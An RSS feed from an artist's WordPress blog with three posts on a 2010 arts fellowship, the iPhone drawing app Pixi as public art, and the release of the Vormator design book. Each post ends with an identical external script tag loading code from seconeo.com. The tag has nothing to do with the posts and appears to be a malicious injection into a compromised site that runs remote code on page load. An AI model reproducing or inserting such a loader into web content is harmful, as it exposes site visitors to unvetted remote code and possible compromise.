<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>labs.hapticdata.com &#187; art</title>
	<atom:link href="http://labs.hapticdata.com/category/art/feed/" rel="self" type="application/rss+xml" />
	<link>http://labs.hapticdata.com</link>
	<description></description>
	<lastBuildDate>Wed, 11 Aug 2010 20:39:37 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Art(ists) on the Verge Fellowship</title>
		<link>http://labs.hapticdata.com/2010/01/artists-on-the-verge-fellowship/</link>
		<comments>http://labs.hapticdata.com/2010/01/artists-on-the-verge-fellowship/#comments</comments>
		<pubDate>Mon, 18 Jan 2010 01:22:57 +0000</pubDate>
		<dc:creator>Kyle</dc:creator>
				<category><![CDATA[art]]></category>
		<category><![CDATA[honors]]></category>
		<category><![CDATA[personal]]></category>
		<category><![CDATA[2010]]></category>
		<category><![CDATA[fellowship]]></category>
		<category><![CDATA[northern lights]]></category>

		<guid isPermaLink="false">http://labs.hapticdata.com/?p=472</guid>
		<description><![CDATA[I am one of five recipients of the <a href="http://northern.lights.mn">Northern Lights</a> organization's <a href="http://northern.lights.mn/2009/12/aov2-fellows-selected/">Art(ists) on the Verge Fellowship</a> funded by the <a href="http://www.jeromefdn.org/">Jerome Foundation</a>. ]]></description>
			<content:encoded><![CDATA[<p>It was announced on Friday, December 18th that I am one of five recipients of the <a href="http://northern.lights.mn">Northern Lights</a> organization&#8217;s <a href="http://northern.lights.mn/2009/12/aov2-fellows-selected/">Art(ists) on the Verge Fellowship</a> funded by the <a href="http://www.jeromefdn.org/">Jerome Foundation</a>. Art(ists) on the Verge is administered by <a href="http://www.google.com/search?client=safari&#038;rls=en&#038;q=steve+dietz&#038;ie=UTF-8&#038;oe=UTF-8">Steve Dietz</a>, the founding director of <a href="http://zero1.org/">Zero1 San Jose Artists Bienalle</a> and previously the founding director of New Media Initiatives at the <a href="http://walkerart.org">Walker Art Center</a>. This fellowship is aimed towards those working at the edge of art and technology, predominantly in a public space and this year there is an additional emphasis on networks.</p>
<p>
I am looking forward to being a part of such a great program and am very excited to have received this opportunity. For the next nine months, I will be focused on working towards my goal of creating an installation space that encompasses a sense of memory and identity. The fellowship culminates in opportunities to present work at this years <a href="http://spark.cla.umn.edu/">SparkFest</a> in October.
</p>
<p><span id="more-472"></span></p>
<p>
Visual synopsis of the five fellows:<br/><br />
<a href="http://www.arlenebirt.com"><img src="http://labs.hapticdata.com/wp-content/uploads/2010/01/arlene.jpg" alt="" title="Arlene" width="128" height="85" class="alignnone size-full wp-image-480" /></a><a href="http://web.me.com/jjtrinket/J-J_Trinkets_Double-Jointed_Festival_Series/Performance.html"><img src="http://labs.hapticdata.com/wp-content/uploads/2010/01/janaka.jpg" alt="" title="Janaka" width="128" height="85" class="alignnone size-full wp-image-481" /></a><a href="http://workofkylephillips.com"><img src="http://labs.hapticdata.com/wp-content/uploads/2010/01/personplace.jpg" alt="" title="myself" width="128" height="85" class="alignnone size-full wp-image-482" /></a><a href="http://www.tylerstefanich.com"><img src="http://labs.hapticdata.com/wp-content/uploads/2010/01/tyler.jpg" alt="" title="Tyler" width="128" height="85" class="alignnone size-full wp-image-483" /></a><a href="http://www.tectonic-industries.com"><img src="http://labs.hapticdata.com/wp-content/uploads/2010/01/tec.jpg" alt="" title="Tectonic Industries" width="128" height="85" class="alignnone size-full wp-image-484" /></a><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://labs.hapticdata.com/2010/01/artists-on-the-verge-fellowship/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mobile applications, public distribution and Art</title>
		<link>http://labs.hapticdata.com/2009/02/mobile-applications-public-distribution-and-art/</link>
		<comments>http://labs.hapticdata.com/2009/02/mobile-applications-public-distribution-and-art/#comments</comments>
		<pubDate>Tue, 24 Feb 2009 23:35:07 +0000</pubDate>
		<dc:creator>Kyle</dc:creator>
				<category><![CDATA[art]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[public art]]></category>

		<guid isPermaLink="false">http://labs.hapticdata.com/?p=123</guid>
		<description><![CDATA[Ever since iTunes released its app store for the <a href="http://www.apple.com/iphone/">iPhone</a>, my interest in the artistic possibilities of mobile applications has been on the rise. In my mind, this marked the first time that I could possibly develop a project that could be widely distributed and easily used by people in public spaces. The ability to work with the accelerometer and the multi-touch screen also seemed exciting. My enthusiasm was later curbed...]]></description>
			<content:encoded><![CDATA[<p>Ever since iTunes released its app store for the <a href="http://www.apple.com/iphone/">iPhone</a>, my interest in the artistic possibilities of mobile applications has been on the rise. In my mind, this marked the first time that I could possibly develop a project that could be widely distributed and easily used by people in public spaces. The ability to work with the accelerometer and the multi-touch screen also seemed exciting. My enthusiasm was later curbed, as I learned more about <a href="http://arstechnica.com/apple/news/2008/07/iphone-nda-doing-more-harm-than-good.ars">Apple&#8217;s NDA</a> (which has been lifted) and considered the disadvantages in having to distribute all applications through the iTunes app store, this still strikes me as a huge bottleneck.</p>
<p>My friend <a href="http://www.koehndesigncollection.com/">Judson Koehn</a>, designed an iPhone application called Pixi, with <a href="http://www.tinywonderstudios.com/">Tiny Wonder Studios</a>; here in Minneapolis. From talking to him and the developer Jesse, I heard the hassles and the joys of that sort of development. Limitations in its graphics capabilities, and difficulties getting the application to pass Apple&#8217;s review team. Now with version 1.0 released (a very complete 1.0 release), it is an application that I enjoy playing around with and has artistic merit. Pixi is a essentially a digital spirograph, you use your fingers to control variables such as radius, stroke width and color and may others. The features in Pixi make it possible to get a large range of results and you can also load preset &#8220;Pixi&#8217;s&#8221; from a default gallery or &#8220;PixiNet.&#8221;</p>
<p>Generative Applications like Pixi and the network functionality of applications like <a href="http://www.youtube.com/watch?v=RhCJq7EAJJA">Ocarina</a> have some interesting possibilities. <a href="http://northern.lights.mn/">Northern Lights</a> published the article <a href="http://northern.lights.mn/2009/02/flos-public-space-and-aesthetic-invention/">Non-&#8221;FLOS&#8221; Public Space and Aesthetic Invention</a> and use Pixi as an example. The writer mentions using similar applications to control the facade of buildings in a local area, ideas like this really deserve more consideration. I&#8217;m still not convinced that there is a mobile phone that offers the ideal platform for these experimental projects, but hopefully there will be.</p>
<div class="mceTemp">
<dl id="attachment_126" class="wp-caption alignnone" style="width: 510px;">
<dt class="wp-caption-dt"><img class="size-full wp-image-126" title="Tiny Wonders Studio - Pixi" src="http://labs.hapticdata.com/wp-content/uploads/2009/02/pixi-iphone.jpg" alt="Tiny Wonders Studio - Pixi" width="500" height="264" /></dt>
</dl>
</div>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://labs.hapticdata.com/2009/02/mobile-applications-public-distribution-and-art/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Vormator book release</title>
		<link>http://labs.hapticdata.com/2008/11/vormator-book-release/</link>
		<comments>http://labs.hapticdata.com/2008/11/vormator-book-release/#comments</comments>
		<pubDate>Thu, 13 Nov 2008 20:26:26 +0000</pubDate>
		<dc:creator>Kyle</dc:creator>
				<category><![CDATA[art]]></category>
		<category><![CDATA[design]]></category>
		<category><![CDATA[honors]]></category>
		<category><![CDATA[projects]]></category>
		<category><![CDATA[generative]]></category>
		<category><![CDATA[publications]]></category>
		<category><![CDATA[vormator]]></category>

		<guid isPermaLink="false">http://labs.hapticdata.com/?p=61</guid>
		<description><![CDATA[In May of 2007 I participated in an experiment titled  <em>Vormator: The Elements of Design</em>. After 18 months, the book has been released, featuring the work of 80 artists.]]></description>
			<content:encoded><![CDATA[<p>In May of 2007 I participated in an experiment titled  <em>Vormator: The Elements of Design</em>. The brief was to build an artwork using only the 8 vector shapes that they provide you with.  My concept was to use these eight shapes in the development of my<a title="Generative Compositonal Engine" href="http://engine.haptic-data.com" target="_self"> Generative Compositional Engine</a>, an application that algorithmically creates artwork based on compositional rules.</p>
<p>After 18 months the book, featuring the work of 80 artists,  is now officially released. You can view sample pages and order online at <a title="vormator" href="http://www.vormator.com" target="_blank">vormator.com</a>.</p>
<p>
<a href="http://flickr.com/photos/zeptonn/"><img src="http://labs.hapticdata.com/wp-content/uploads/2008/11/vormator_book.jpg" alt="" title="vormator book" width="500" height="333" class="border alignnone size-full wp-image-63" /></a>
</p>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://labs.hapticdata.com/2008/11/vormator-book-release/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
